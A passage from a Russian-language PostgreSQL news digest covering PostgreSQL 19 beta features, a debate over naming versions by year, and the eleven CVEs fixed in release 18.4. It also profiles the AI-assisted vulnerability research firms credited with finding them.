больших таблицах.&lt;li&gt;&lt;p&gt;&lt;code&gt;pgstattuple&lt;/code&gt; с потоковым чтением - диагностика состояния таблиц стала быстрее за счёт использования AIO/prefetch - можно запускать в рабочее время.&lt;li&gt;&lt;p&gt;Переход на стандарт C11 для сборки - важен для мейнтейнеров расширений. И об этом не пишет практически никто. А &lt;em&gt;Кристоф&lt;/em&gt; посвятил пусть маленькую, но отдельную главку в статье. Итак: C11 полностью поддерживается всеми современными ОС (актуальные дистрибутивы Linux, macOS, BSD, а также RHEL 8 и новее). А вот на устаревших корпоративных дистрибутивах с компиляторами 2015 года и старше, в кастомных средах сборки для встраиваемых (embedded) систем, в сторонних (out-of-tree) расширениях, могут быть жестко прописаны флаги std=c99 в Makefile. Проверьте свои флаги сборки прямо сейчас, - советует &lt;em&gt;Кристоф, - ибо &lt;/em&gt;лучше обнаружить эту проблему в мае, а не в октябре, когда вы уже пытаетесь запустить апгрейд на PG19.&lt;/ul&gt;&lt;p&gt;&lt;a href=https://www.bytebase.com/blog/postgres-19-features-im-excited-about/&gt;&lt;strong&gt;PostgreSQL 19: Features I&amp;#39;m Excited About&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;Автор, &lt;em&gt;Тяньчжоу&lt;/em&gt; (Tianzhou Chen, сооснователь и гендир шанхайской компании Bytebase, живёт, впрочем, &lt;a href=https://github.com/tianzhou&gt;в Долине&lt;/a&gt;) даёт свой список воодушевивших его новшеств. И он не повторяет буквально список в описании релиза. В нём, например, есть важное отличие: он пишет о фиче, чрезвычайно важной для российских разработчиков: о 64-битных идентификаторах. Как известно, в России много баз с огромной нагрузкой, которая привела бы к быстрому апокалипсису под красивым названием Wraparound. Российские производители версий Postgres сами приделывают 64-битные идентификаторы, но это не значит, что решение этой проблемы сообществом их уже не интересует. Наоборот. Пока там прошли только идентификаторы в MultiXact, но этот вопрос не заброшен, сражения архитекторов Postgres продолжаются. Итак, список:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;pg_plan_advice&lt;/code&gt; + &lt;code&gt;pg_stash_advice,&lt;/code&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;pg_get_*_ddl(),&lt;/code&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;REPACK CONCURRENTLY,&lt;/code&gt;&lt;li&gt;&lt;p&gt;онлайн-включение контрольных сумм,&lt;li&gt;&lt;p&gt;&lt;code&gt;pg_stat_lock&lt;/code&gt;, &lt;code&gt;pg_stat_recovery,&lt;/code&gt;&lt;li&gt;&lt;p&gt;Синхронизация последовательностей в логической репликации,&lt;li&gt;&lt;p&gt;64-битные MultiXact,&lt;li&gt;&lt;p&gt;Параллельный автовакуум.&lt;/ul&gt;&lt;p&gt;Вот, кстати, недавняя статья о MultiXact.&lt;p&gt;&lt;a href=https://richyen.com/postgres/2026/05/04/postgres_job_queue.html&gt;&lt;strong&gt;Postgres as a Job Queue: The MultiXact SLRU Problem&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;Пишет&lt;em&gt; Рич Йен&lt;/em&gt;&lt;strong&gt; (&lt;/strong&gt;Rich Yen, инженер-сеньор в Microsoft). Копает глубоко. Почему использование PostgreSQL как очереди задач (&lt;code&gt;SELECT ... FOR UPDATE SKIP LOCKED&lt;/code&gt;) ломается при высокой конкуренции: в механизме MultiXact SLRU при множестве параллельных блокировок одной строки инфраструктура локов не выдерживает. Возникает затор. Хотя дело не только в этом.&lt;h3&gt;Мажорные релизы. Нейминг.&lt;/h3&gt;&lt;p&gt;&lt;em&gt;&amp;#34;Вот что я подумал: Postgres 9.6 у меня ассоциировался с 2016, и цифра «6» в конце и номера версии, и года всегда помогала мне запомнить год релиза. А запоминание важно, когда работаешь со множеством баз данных на разных версиях Postgres - это даёт понимание, насколько версия старая. И за последние 10 лет цикл релизов довольно стабилен: примерно одна мажорная версия в год. Поэтому, если бы следующая версия называлась 26 вместо 19, а следующая за ней - 27, было бы проще понять, насколько эта версия актуальна.&lt;/em&gt;&lt;p&gt;&lt;em&gt;Ваш Nik.&lt;/em&gt;&lt;p&gt;То есть &lt;em&gt;Николай Самохвалов&lt;/em&gt; (Nikolay Samokhvalov, &lt;a href=mailto:nik@postgres.ai&gt;postgres.ai&lt;/a&gt;). Пока идея всем (не очень известным) очень нравится.&lt;p&gt;UPD: откликнулся &lt;em&gt;Том Лейн&lt;/em&gt; (Tom Lane): Geez, I thought we were permanently done with what-shall-we-call- the-next-release threads after we dropped three-part version numbers:&lt;p&gt;&lt;em&gt;«Боже, я думал, что после отказа от трёхчастных номеров версий мы навсегда покончили с тредами в духе “как же назвать следующий релиз”.&lt;/em&gt;&lt;p&gt;&lt;em&gt;Мне не нравится ни один вариант этого предложения, потому что я боюсь, что оно слишком сильно полагается на нашу способность строго придерживаться фиксированного релизного календаря. Что будет, если “v2027” сдвинется на 2028 год? Неужели тогда мы окажемся не в состоянии вернуться к обычному графику для следующего релиза?»&lt;/em&gt;&lt;p&gt;Другой классик - &lt;em&gt;Питер Айзентраут&lt;/em&gt; (Peter Eisentraut) - поддержал его:&lt;p&gt;&lt;em&gt;«К тому же, некоторые вещи, которые выходят под конец года N, по маркетинговым причинам выпускают уже как версию N+1.»&lt;/em&gt;&lt;p&gt;И Том добавил ещё одну пикантную добавку:&lt;p&gt;&lt;em&gt;«Можно глянуть и с другой стороны: тут всплыла мысль на AI-секции на &lt;/em&gt;&lt;a href=http://PGConf.dev&gt;&lt;em&gt;PGConf.dev&lt;/em&gt;&lt;/a&gt;&lt;em&gt;: кто-то предположил, что ИИ может так ускорить наш цикл разработки, и можно будет выпускать по два мажорных релиза в год. Это не значит, что я в это верю. Но мы можем сами себе создать лишние обязательства».&lt;/em&gt;&lt;p&gt;Николай с готовностью принял конструктивную критику и сделал следующий ход:&lt;p&gt;&lt;em&gt;«У меня есть ещё одно, гораздо более мягкое предложение. На самом деле — два.&lt;/em&gt;&lt;p&gt;&lt;em&gt;1) Документация. Добавить что-то вроде:&lt;/em&gt; &lt;em&gt;“&lt;/em&gt;Major version NN released YYYY, EOL Mon YYYY&lt;em&gt;”&lt;/em&gt; &lt;em&gt;прямо на таких страницах, как:&lt;/em&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/docs/%EF%BF%BChttps://www.postgresql.org/docs/release/%EF%BF%BChttps://www.postgresql.org/docs/current/index.html&gt;https://www.postgresql.org/docs/https://www.postgresql.org/docs/release/https://www.postgresql.org/docs/current/index.html&lt;/a&gt;&lt;p&gt;&lt;em&gt;Сейчас, чтобы понять, насколько версия Postgres старая, приходится идти на&lt;/em&gt; &lt;a href=https://www.postgresql.org/support/versioning/&gt;https://www.postgresql.org/support/versioning/&lt;/a&gt;&lt;em&gt; и читать таблицу. А операторы, инженеры поддержки и вендоры, которые описывают совместимость, делают это постоянно. Если даты релиза и EOL будут прямо на главных страницах документации, один лишний переход просто исчезнет.&lt;/em&gt;&lt;p&gt;&lt;em&gt;2) Год рядом с номером версии в анонсах релизов, новостях и пресс-ките. Вот так: &lt;/em&gt;PostgreSQL 19 (2026), &lt;em&gt;а за ним логично последует: &lt;/em&gt;PostgreSQL 19, ежегодный мажорный релиз 2026. &lt;em&gt;Это не привязывает версию к году - главным всё равно остаётся порядковый номер. Если релиз сдвинется, поменяется только год. А если цикл станет полугодовым, это просто и естественно превратится в “(2026.1)” / “(2026.2)” без всякой правки номера версии. То есть это не замена, а ещё один способ обозначения версии.»&lt;/em&gt;&lt;h2&gt;Минорный релиз. Заплатки, принцессы, призраки&lt;/h2&gt;&lt;p&gt;Выход беты, конечно, событие. Но очень предсказуемое, почти уже свершившиеся заранее. Ведь все изменения открыто обсуждаются, а многие и анализируются. А вот выход этого минорного релиза многих ошарашил.&lt;p&gt;&lt;a href=https://www.postgresql.org/about/news/postgresql-184-1710-1614-1518-and-1423-released-3297/&gt;&lt;strong&gt;PostgreSQL 18.4&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;(А также &lt;a href=https://www.postgresql.org/about/news/postgresql-184-1710-1614-1518-and-1423-released-3297/&gt;17.10, 16.14, 15.18 и 14.23&lt;/a&gt;)&lt;p&gt;Этот минорный релиз удивительный, такого ещё не было. Поражает не коллекцией новых функций, а списком дыр, которые обнаружили &lt;em&gt;и быстро залатали&lt;/em&gt;. 11 дыр!&lt;ul&gt;&lt;li&gt;&lt;p&gt;PostgreSQL 18.1 (2025) - 2 уязвимости,&lt;li&gt;&lt;p&gt;18.2 (2026) - 5,&lt;li&gt;&lt;p&gt;18.3 (2026) - 0 и&lt;li&gt;&lt;p&gt;18.4 (2026) - 11.&lt;/ul&gt;&lt;p&gt;В прежние годы доходило до 7:&lt;ul&gt;&lt;li&gt;&lt;p&gt;9.3.1 (2013) - 7,&lt;li&gt;&lt;p&gt;9.4.10 (2017) - 6, но считая расширения,&lt;li&gt;&lt;p&gt;10.6 (2018) - 6.&lt;/ul&gt;&lt;p&gt;И дело, конечно, не в том, что последние версии были плохие, неаккуратно написаны, хуже оттестированы. А в том, что для нахождения уязвимостей стали применять другие инструменты. И, конечно, ИИ. Радикально изменился список благодарностей: много новых имён. И, очевидно, демография радикально другая. Но сначала в 2 словах о каждой из 11.&lt;p&gt;Залатали дыры:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/support/security/CVE-2026-6472/&gt;CVE-2026-6472: &lt;/a&gt;PostgreSQL: команда &lt;code&gt;CREATE TYPE&lt;/code&gt; не проверяет привилегию &lt;code&gt;CREATE&lt;/code&gt; на схему при создании мультидиапазонных типов.&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/support/security/CVE-2026-6473/&gt;CVE-2026-6473: &lt;/a&gt;(! &amp;#34;опасность высока&amp;#34;) Целочисленное переполнение при выделении памяти в PostgreSQL.&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/support/security/CVE-2026-6474/&gt;CVE-2026-6474: &lt;/a&gt;Утечка памяти через функцию &lt;code&gt;timeofday()&lt;/code&gt;.&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/support/security/CVE-2026-6475/&gt;CVE-2026-6475: &lt;/a&gt;(!) Опасность перезаписи системных файлов через символические ссылки в &lt;code&gt;pg_basebackup&lt;/code&gt; и &lt;code&gt;pg_rewind.&lt;/code&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/support/security/CVE-2026-6476/&gt;CVE-2026-6476: &lt;/a&gt;(!) SQL-инъекция в &lt;code&gt;pg_createsubscriber&lt;/code&gt; через имя подписки.&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/support/security/CVE-2026-6477/&gt;CVE-2026-6477: &lt;/a&gt;(!) Опасность перезаписи стека клиента через функции &lt;code&gt;lo_*&lt;/code&gt; в&lt;code&gt;libpq&lt;/code&gt;.&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/support/security/CVE-2026-6478/&gt;CVE-2026-6478: &lt;/a&gt;Раскрытие MD5-хэшей паролей через скрытый временной канал (timing attack).&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/support/security/CVE-2026-6479/&gt;CVE-2026-6479: &lt;/a&gt;(!) Отказ в обслуживании (DoS) через неконтролируемую рекурсию при согласовании SSL/GSS.&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/support/security/CVE-2026-6575/&gt;CVE-2026-6575: &lt;/a&gt;Функция &lt;code&gt;pg_restore_attribute_stats&lt;/code&gt; в PostgreSQL принимает значения, из-за которых планировщик запросов читает данные за пределами массива статистики.&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/support/security/CVE-2026-6637/&gt;CVE-2026-6637: &lt;/a&gt;(!) Переполнение стека и SQL-инъекция в модуле &lt;code&gt;refint&lt;/code&gt;.&lt;li&gt;&lt;p&gt;&lt;a href=https://www.postgresql.org/support/security/CVE-2026-6638/&gt;CVE-2026-6638: &lt;/a&gt;SQL-инъекция в команде &lt;code&gt;REFRESH PUBLICATION&lt;/code&gt; при логической репликации.&lt;/ul&gt;&lt;p&gt;Опасность оценивалась по SVSS (Common Vulnerability Scoring System) версии 3.1 (см. &lt;a href=&#34;https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?version=3.1&#34;&gt;NVD - CVSS v3 Calculator&lt;/a&gt;).&lt;p&gt;Разбирать эти 11 уязвимостей мы не будем: &lt;em&gt;Кристоф Питтус&lt;/em&gt; (Christophe Pettus) разобрал их до нас в блоге своей консалтинговой компании &lt;a href=https://thebuild.com/blog/&gt;The Build&lt;/a&gt;:&lt;p&gt;&lt;a href=https://thebuild.com/blog/2026/05/14/eleven-cves-walk-into-a-release/&gt;&lt;strong&gt;Eleven CVEs Walk Into a Release&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;Обратим внимание на вот что: &lt;em&gt;атаки через рекурсию&lt;/em&gt; в &lt;a href=https://www.postgresql.org/support/security/CVE-2026-6479/&gt;CVE-2026-6479&lt;/a&gt; - ого, такого в PostgreSQL не было.&lt;p&gt;Кого благодарить за бдительность?&lt;p&gt;Anemone, A1ex, Xint Code, &lt;em&gt;Цзи Хэ Ван&lt;/em&gt; (Jihe Wang), &lt;em&gt;Цзи Чжоу Фу&lt;/em&gt; (Jingzhou Fu), &lt;em&gt;Павел Коут&lt;/em&gt; (Pavel Kohout), &lt;em&gt;Пётр Симечек &lt;/em&gt;(Petr Simecek), &lt;a href=http://www.aisle.com&gt;www.aisle.com&lt;/a&gt;, &lt;em&gt;Брюс Дэнг&lt;/em&gt; (Bruce Dang, &lt;a href=http://Calif.io&gt;Calif.io&lt;/a&gt;) и &lt;em&gt;Свен Клемм&lt;/em&gt; (Sven Klemm).&lt;p&gt;Имена звучат странновато, как-то не по-постгресовому, не правда ли? Анемон. A1ex. Xint Code.&lt;p&gt;Начнём с конца списка успешных дыроискателей: в &lt;a href=https://habr.com/ru/companies/postgrespro/articles/828950/&gt;Postgresso 7 (68)&lt;/a&gt; мы писали: &lt;a href=https://www.postgresql.org/about/news/pgspot-080-released-2907/&gt;&lt;em&gt;pgspot 0.8.0&lt;/em&gt;&lt;/a&gt;&lt;em&gt; - это интересный инструмент для выявления уязвимостей в SQL-скриптах Postgres выложен на гитхабе Timescale. Автор - Свен Клемм (Sven Klemm) из Дрездена. Прежде всего pgspot призван выявить: атаки через &lt;/em&gt;&lt;code&gt;&lt;em&gt;search_path&lt;/em&gt;&lt;/code&gt;&lt;em&gt;, создание небезопасных объектов.&amp;#34;&lt;/em&gt;&lt;p&gt;Сейчас циферки версии подросли, хотя и не сильно: &lt;a href=https://github.com/timescale/pgspot/releases/tag/0.9.2&gt;pgspot 0.9.2&lt;/a&gt;. Поддерживает по-прежнему &lt;a href=https://github.com/svenklemm&gt;svenklemm (Sven Klemm)&lt;/a&gt;.&lt;p&gt;Девиз &lt;a href=https://calif.io/&gt;Calif&lt;/a&gt;: &lt;em&gt;Хакеры уже идут вас хакать, готовьтесь!&lt;/em&gt; (&lt;a href=https://calif.io/&gt;Hackers gonna hack, be prepped&lt;/a&gt;). Они объявляют, что работают над обнаружением уязвимостей в коллаборации с Anthropic и их Клодом. Компания интересная, в ней даже Принцесса работает.&lt;ul&gt;&lt;li&gt;&lt;p&gt;Главный (не президент, не CEO, а просто Chief) - &lt;em&gt;Тхай Дуонг&lt;/em&gt; (Thai Duong / &amp;#39;thaidn&amp;#39;, родился в Сайгоне.&lt;li&gt;&lt;p&gt;&lt;em&gt;Ан Чинь&lt;/em&gt; (An Trinh - сооснователь и CTO выступал на конференции &lt;a href=https://confec.ru/zeronights-2025&gt;ZeroNights St. Petersburg&lt;/a&gt; - нет, это не в СПб, штат Флорида, это Питер, РФ.&lt;li&gt;&lt;p&gt;&lt;em&gt;Михал Залевски&lt;/em&gt; (Michał Zalewski /lcamtuf) - советник-безопасник, автор утилиты afl-fuzz (&lt;a href=https://github.com/google/AFL&gt;AFL: american fuzzy lop&lt;/a&gt;), его вклад в искусство сокрушения софта &amp;#34;больше, чем всё вредоносное ПО за всю историю&amp;#34;. Ушёл из Google и Snap, теперь пишет, исследует и &amp;#34;придумывает, как подготовиться к неизбежному Апокалипсису&amp;#34;. Ну и:&lt;li&gt;&lt;p&gt;&lt;em&gt;Париса Табриз&lt;/em&gt; (Parisa Tabriz) - &amp;#34;&lt;em&gt;официальная &lt;/em&gt;&lt;strong&gt;&lt;em&gt;Принцесса Безопасности&lt;/em&gt;&lt;/strong&gt;&lt;em&gt; в Google&lt;/em&gt;&amp;#34;.&lt;/ul&gt;&lt;p&gt;Уже неплохая складывается компания из душевных компаний. Но дальше - больше.&lt;p&gt;&lt;em&gt;Павел Кохут&lt;/em&gt; (Pavel Kohout, &lt;a href=https://aisle.com/about-us&gt;Aisle Research&lt;/a&gt;). Он нашёл дыру в Графане (кстати, см. дальше о русской &lt;em&gt;Графине&lt;/em&gt;) - &lt;a href=https://grafana.com/security/hall-of-fame/issue_27/&gt;Grafana Labs: Responsible Disclosure Recognition&lt;/a&gt;, в Апаче: &lt;a href=https://cybersecuritynews.com/apache-http-server-rce/&gt;Critical Apache HTTP Server Flaw Exposes Millions of Servers to Remote Code Execution Attacks&lt;/a&gt;.&lt;p&gt;И вот на что замахивается Aisle:&lt;p&gt;&lt;em&gt;Платформа AISLE создана лидерами в сфере информационной безопасности и учёными в области ИИ, которые на собственном опыте видели и масштаб угроз, и ограниченность современных инструментов. Наша цель - не просто улучшить управление уязвимостями. Наша цель - ликвидировать&lt;/em&gt; бэклог. Ноль &lt;em&gt;уязвимостей, доступных злоумышленникам.&lt;/em&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Главный по науке (и он у них идёт впереди CEO) - доктор &lt;em&gt;Стан&lt;/em&gt;и&lt;em&gt;слав Форт&lt;/em&gt; (Dr. Stanislav Fort). Теорфизик из Кембриджа, ИИ-исследователь с опытом работы в Google Brain, DeepMind и Anthropic.&lt;li&gt;&lt;p&gt;Гендир - &lt;em&gt;Ондржей Влачек&lt;/em&gt; (Ondrej Vlcek), 20+ лет опыта в безопасности, и какого опыта! Он был гендиром Avast (&lt;a href=https://ru.wikipedia.org/wiki/Avast_Antivirus&gt;Avast&lt;/a&gt; - хит 90-х), потом президентом Gen Digital. Получил учёную степень в Чешском Техническом Университете (&lt;a href=https://en.wikipedia.org/wiki/Czech_Technical_University_in_Prague&gt;Czech Technical University&lt;/a&gt;) в Праге.&lt;li&gt;&lt;p&gt;&lt;em&gt;Джайя Балу&lt;/em&gt; (Jaya Baloo, &lt;a href=https://www.linkedin.com/in/jaya-baloo-558492/&gt;COO &amp;amp; CISO&lt;/a&gt; - что это? А, это оперативное руководство и управление безопасностью). Пишут, что она входит в топ-100 мировых безопасников.&lt;/ul&gt;&lt;p&gt;Дальше: Xint Code - леденящая душу история. Утилита &lt;a href=https://code.xint.io/&gt;Xint Code&lt;/a&gt; (с ИИ, разумеется) соревновалась с живыми искателями дырочек и нашла прославивший её баг &lt;a href=https://nvd.nist.gov/vuln/detail/CVE-2026-2005&gt;CVE-2026-2005&lt;/a&gt; в расширении PostgreSQL &lt;a href=https://www.postgresql.org/docs/current/pgcrypto.html&gt;pgcrypto&lt;/a&gt;, который не замечали 20 лет. В самом PostgreSQL тоже нашли, но баг помоложе - &lt;a href=https://nvd.nist.gov/vuln/detail/CVE-2026-2006&gt;CVE-2026-2006&lt;/a&gt;, его закрыли в 18.2.&lt;p&gt;&lt;a href=&#34;https://theori.io/blog/announcing-xint-code?spm=a2ty_o01.29997173.0.0.130555fbnAekmn&#34;&gt;Xint Code&lt;/a&gt; - это разработка компании &lt;a href=https://theori.io/&gt;Theori&lt;/a&gt;, ей лет 10, гендир - &lt;em&gt;Брайан Сечжунь Пак&lt;/em&gt; (Brian Sejoon Pak), кореец. Он основал компанию вместе с &lt;em&gt;Эндрю Уизи&lt;/em&gt; (Andrew Wiese, CTO), с которым закончил Карнеги Меллон. Сейчас в компании более 100 сотрудников. Офисы в Техасе (альма матер основателей - Карнеги Меллон - в Техасе) и в Сеуле.&lt;p&gt;На этом хакатоне &lt;a href=http://ZeroDay.Cloud&gt;ZeroDay.Cloud&lt;/a&gt;, где соревновались в исследованиях Postgres и MariaDB с помощью ИИ-инструментов, нашли 20-летнюю уязвимость. Нашли и те, что закрыли в 18.4 (CVE-2026-6473, CVE-2026-6474)&lt;p&gt;Хакатон организовала &lt;a href=https://en.wikipedia.org/wiki/Wiz,_Inc.&gt;Wiz, Inc&lt;/a&gt; - израильско-американская компания в области облачной кибербезопасности, которая с марта 2026 года является частью Google Cloud: Google (Alphabet) приобрела её за $32 млрд в марте 2026 - крупнейшая сделка в истории кибербезопасности.&lt;p&gt;Вот отчёт Wiz: &lt;a href=https://www.csoonline.com/article/4167137/ai-finds-20-year-old-bugs-in-postgresql-and-mariadb.html&gt;AI finds 20-year-old bugs in PostgreSQL and MariaDB&lt;/a&gt; на сайте &lt;a href=https://www.csoonline.com/code-security/&gt;CSO Online&lt;/a&gt;. Вот ещё заметка:&lt;p&gt;&lt;a href=https://www.zeroday.cloud/blog/postgres-xint&gt;CVE-2026-2005: PostgreSQL pgcrypto heap buffer overflow leading to RCE | &lt;/a&gt;&lt;a href=http://ZeroDay.cloud&gt;ZeroDay.cloud&lt;/a&gt; - На &lt;a href=http://ZeroDay.Cloud&gt;&lt;em&gt;ZeroDay.Cloud&lt;/em&gt;&lt;/a&gt;&lt;em&gt; 2025, Xint Code нашла 20-летней давности дыру с переполнением буфера в PostgreSQL-расширении &lt;/em&gt;&lt;code&gt;&lt;em&gt;pgcrypto&lt;/em&gt;&lt;/code&gt;&lt;em&gt;.&lt;/em&gt;&lt;p&gt;Дальше: в списке уязвимостей есть серьёзная дыра CVE-2026-6475, её нашли с помощью Atuin Automated Vulnerability Discovery Engine. Это любимая игрушка &lt;a href=https://xlab.tencent.com/en/&gt;Tencent Xuanwu Lab&lt;/a&gt; - команды &lt;a href=https://github.com/XlabAITeam&gt;XlabAI&lt;/a&gt; в составе &lt;em&gt;Лаборатории Сюаньу &lt;/em&gt;(Tencent Xuanwu Lab)&lt;em&gt;.&lt;/em&gt;&lt;p&gt;На их гитхабе есть и вот что: &lt;a href=https://github.com/XlabAITeam/Chat2DB&gt;Chat2DB&lt;/a&gt; - опенсорсная утилита, которая поможет:&lt;ul&gt;&lt;li&gt;&lt;p&gt;быстрее писать SQL-запросы,&lt;li&gt;&lt;p&gt;управлять базами данных,&lt;li&gt;&lt;p&gt;генерировать отчёты,&lt;li&gt;&lt;p&gt;исследовать данные,&lt;li&gt;&lt;p&gt;взаимодействовать с множеством различных СУБД (MySQL, PostgreSQL, H2, Oracle, SQLServer, SQLite, MariaDB, ClickHouse, DM, Presto, DB2, OceanBase, Hive, KingBase, MongoDB, Redis, Snowflake и другие) в едином интерфейсе.&lt;/ul&gt;&lt;p&gt;Но сама Atuin Automated Vulnerability Discovery Engine на гитхаб не выложена.&lt;p&gt;На &lt;a href=https://xlab.tencent.com/&gt;сайте XlabAI&lt;/a&gt; читателя главной страницы приветствуют такими словами:&lt;p&gt;&lt;em&gt;&amp;#34;ИИ-агенты принимают решения от имени пользователей, однако эти решения не всегда безопасны. Мы выявили ряд распространённых рисков, связанных с принятием решений ИИ. Среди них выделяется категория рисков, способных оказывать устойчивое и скрытое воздействие. Мы назвали это явление „&lt;/em&gt;&lt;strong&gt;&lt;em&gt;Призрачные зависимости&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;“ (Ghost Dependencies).&amp;#34;&lt;/em&gt;&lt;p&gt;Существуют &lt;a href=https://xlab.tencent.com/en/2026/02/28/ghost-dependency-agentic-coding-supply-chain-threat/&gt;два Призрака&lt;/a&gt;. Имена их R1 и R2:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;R1 или Призрак Версии&lt;/em&gt;&lt;/strong&gt; (Ghost Versions): У LLM есть дурная привычка предлагать устаревшие версии компонентов, которые часто встречались в их обучающих данных, вместо актуальных релизов.&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;R2 или Призрак Имени Пакета&lt;/em&gt;&lt;/strong&gt; (Ghost Package Names): LLM время от времени выдумывают несуществующие названия пакетов. Такие глюки зависят от архитектуры конкретной модели и поддаются прогнозированию.&lt;/ul&gt;&lt;p&gt;Эти призраки, следовательно, молодые. Что же, команде слабо найти дыры 20-летней давности - как Xint? 20 - может быть, но 6-леток отлавливали: &lt;a href=https://xlab.tencent.com/en/2019/09/12/deep-analysis-of-cve-2019-8014/&gt;Deep Analysis of CVE-2019-8014: The Vulnerability Ignored 6 Years Ago&lt;/a&gt;.&lt;p&gt;Эти ребята довольно складно, имхо, &lt;a href=https://xlab.tencent.com/en/uploads/2026/ai_browser_crawler/AI%20Web%20Crawler%20Security%20White%20Paper.pdf&gt;формулируют&lt;/a&gt; актуальные изменения в вечной войне снаряда с бронёй: &lt;em&gt;ИИ революционизировал и то, и другое&lt;/em&gt;.&lt;p&gt;Вообще, блог их интересный, есть даже про кванты: &lt;a href=https://xlab.tencent.com/en/2025/11/21/how-far-are-quantum-computers-from-breaking-rsa-2048/&gt;How Far Are Quantum Computers from Breaking RSA-2048?&lt;/a&gt;&lt;p&gt;В списке уязвимостей 18.4 есть ещё одна довольно экзотичная: timing attack: &lt;a href=https://www.postgresql.org/support/security/CVE-2026-6478/&gt;CVE-2026-6478&lt;/a&gt; - &lt;a href=https://en.wikipedia.org/wiki/Timing_attack&gt;Timing attack&lt;/a&gt; - по разнице в скорости ответа можно сделать выводы о внутренних данных системы, даже если прямого доступа к ним нет. Эта тема для Postgres и (СУБД тем более) не новая: 3 учёных мужа - &lt;em&gt;Александр Рейсин&lt;/em&gt; (или &lt;em&gt;Разин&lt;/em&gt;, &lt;a href=https://www.researchgate.net/scientific-contributions/Alexander-Rasin-70031453&gt;Alexander Rasin&lt;/a&gt;), &lt;em&gt;Джеймс Хербик&lt;/em&gt; (&lt;a href=https://www.researchgate.net/scientific-contributions/James-Herbick-2294491360&gt;James Herbick&lt;/a&gt;), и &lt;em&gt;Ник Скоуп&lt;/em&gt; (&lt;a href=https://www.researchgate.net/scientific-contributions/Nick-Scope-2196662061&gt;Nick Scope&lt;/a&gt;) из &lt;a href=https://en.wikipedia.org/wiki/DePaul_University&gt;DePaul University&lt;/a&gt; и &lt;em&gt;Бен Ленард&lt;/em&gt; (&lt;a href=https://www.researchgate.net/profile/Ben-Lenard&gt;Ben LENARD&lt;/a&gt;) из знаменитой &lt;a href=https://en.wikipedia.org/wiki/Argonne_National_Laboratory&gt;Argonne National Laboratory&lt;/a&gt; поднимали вопрос о &lt;a href=https://www.researchgate.net/publication/384735280_On_Vulnerability_of_Access_Control_Restrictions_to_Timing_Attacks_in_a_Database_Management_System&gt;Vulnerability of Access Control Restrictions to Timing Attacks in a Database Management System&lt;/a&gt;. А в 2021 на &lt;a href=https://dba.stackexchange.com/&gt;Database Administrators Stack Exchange&lt;/a&gt; обсуждалось: &lt;a href=https://dba.stackexchange.com/questions/285739/prevent-timing-attacks-in-postgres&gt;postgresql - Prevent timing attacks in postgres?&lt;/a&gt;&lt;p&gt;И так далее. Новые имена, новые компании, новые территории. И ясно, что это не всплеск, а новый поворот. Мир Postgres уже не будет прежним.&lt;p&gt;Теперь все будут соревноваться. Вот что предлагает &lt;em&gt;G-рептилия&lt;/em&gt;:&lt;p&gt;&lt;a href=https://www.greptile.com/review&gt;&lt;strong&gt;Would Greptile Have Caught That Postgres Bug?&lt;/strong&gt;&lt;/a&gt; -&lt;em&gt; вставьте пулл-реквест (PR) на GitHub, в котором появилась эта ошибка, - без регистрации. ГРептилия пришлёт ревью старого пулл-реквеста, как если б он был новый, и покажет комментарии, которые Грептилия бы оставила.&lt;/em&gt;&lt;p&gt;Недавняя версия - 3-я: &lt;a href=https://www.greptile.com/blog/greptile-v3-agentic-code-review&gt;Greptile v3, an agentic approach to code review&lt;/a&gt; - &lt;em&gt;Дакш Гупта&lt;/em&gt; (Daksh Gupta), сооснователь &lt;em&gt;ГРептилии&lt;/em&gt; объясняет разницу 3-й версии и 2-й. Новая более склонна к рекурсии при обращении к LLM и подбору оптимальных инструментов внутри цикла. &lt;em&gt;Дакш&lt;/em&gt; называет новый подход детективным.&lt;p&gt;Мы легонько касались Инженерии Хаоса в &lt;a href=https://habr.com/ru/companies/postgrespro/articles/1006634/&gt;предыдущем&lt;/a&gt; Postgresso, даже доклад такой был: &lt;a href=https://dump-ekb.ru/chaos-engineering-dlya-teh-kto-v-grobu-ego-vidal&gt;Chaos Engineering для тех, кто в гробу его видал&lt;/a&gt; - &lt;em&gt;Лев Алимов&lt;/em&gt;, стафф-инженер в Т-Банке. А в &lt;a href=https://habr.com/ru/companies/postgrespro/articles/980952/&gt;предпредущем&lt;/a&gt; о китайских инженерах хаоса, даже о &lt;a href=https://en.pingcap.com/blog/chaos-mesh-remake-one-step-closer-toward-chaos-as-a-service/&gt;&lt;strong&gt;Chaos as a Service&lt;/strong&gt;&lt;/a&gt;).&lt;p&gt;Больше хаоса! Звучит как &amp;#34;больше ада&amp;#34;, но тут уж никуда не денешься. Его так и так будет много, это несомненно.&lt;p&gt;&lt;a href=https://github.com/anse1/sqlsmith/releases/tag/v1.5&gt;&lt;strong&gt;SQLsmith 1.5&lt;/strong&gt;&lt;/a&gt; - генератор случайных SQL для тестирования. Вот &lt;a href=https://github.com/anse1/sqlsmith&gt;гитхаб&lt;/a&gt;. Автор - &lt;a href=https://github.com/anse1/sqlsmith&gt;anse1/&lt;/a&gt; = &lt;em&gt;Андреас Зельтенрайх&lt;/em&gt; (Andreas Seltenreich &amp;#39;anse1&amp;#39;, &lt;a 